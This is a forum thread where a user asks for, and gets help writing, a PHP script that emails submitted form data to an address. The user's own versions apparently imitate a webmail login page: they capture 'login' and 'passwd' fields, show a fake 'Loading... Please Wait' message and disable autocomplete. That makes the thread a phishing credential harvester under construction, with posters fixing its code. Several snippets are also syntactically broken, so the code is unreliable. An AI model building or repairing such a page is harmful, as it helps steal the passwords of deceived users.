Jump to content

Im a New User Desperate For Help


timgetback

Recommended Posts

Ok heres the deal.  I need to get input data using method post so i can view the data later. basically i need a php script to route the data in post to like an email address, or something. This is really important to me if any onw can help it would be greatly appericated.
Link to comment
Share on other sites

<?php
$message = "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('someone@somewhere.com', 'subject', $message);
?>
Link to comment
Share on other sites

if ur still online i typed this up:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Login Info</title>

</head>

<body>
<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('account@mail.com', 'Email Info', $message);
?>

</body>
</html>

But it didnt work.
Link to comment
Share on other sites

<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
?>

should be
<?php
$message = "login: {$_POST['login']} \n";
$message .= "passwd": {$_POST['passwd']} \n";
$message .= ".tries: {$_POST['.tries']} \n";
$message .= "Forum element name: {$_POST['forum_element_name']} \n";
?>

The additional quotes will screw up the parser if not escaped with a backslash.
And silly me, i forgot semicolons after the variable assignments!
Link to comment
Share on other sites

Here there is no point in having difficult with this, think about it, everytime you create a contact form it's doing the same thing.
Here have a form
<form name="infogatherer" action="processor.php" method="post">
Have as many input fields here as you want.
</form>
Then say you have 3 info fields, just stick them in an email
$message = "
Username: {$_POST[username]}
Password: {$_POST[password]}
Information: {$_POST[information]}
mail("email@domain.com", "This is my data", $message);
You can do whatever else you want to with it, I don't know if anyone can really exploit this, just don't set it up to where a user can send you html emails.  THen you might have some problems, as long as nothing is going into a database you should be fine.
Link to comment
Share on other sites

So is this good or what??? : ???


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Loging in</title>

</head>

<body>
<p> Loading...... Please Wait </p>
<?php
$message = "
login: {$_POST[login]}
passwd: {$_POST[passwd]}
yreglgtb: {$_POST[yreglgtb]}
mail("email@domain.com", "This is my data", $message);
//ext
?>

</body>
</html>
Link to comment
Share on other sites

I put this in notepad just as it is:

<?php
$message = "
login: {$_POST['login']}
passwd: {$_POST['passwd']}
yreglgtb: {$_POST['yreglgtb']}";
mail("mail@domain.com", "This is my data", $message);
//ext
?>

then i put this in my site:

<form method="post" action=getinfo.php
autocomplete="off" name="login_form" >

now... i know nothin about php. Should this work cause it aint.
Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.